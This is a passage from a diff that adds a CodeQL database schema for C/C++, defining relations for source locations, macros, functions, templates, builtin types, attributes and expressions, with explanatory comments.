+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+| 62 = @mfp8 // __mfp8
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
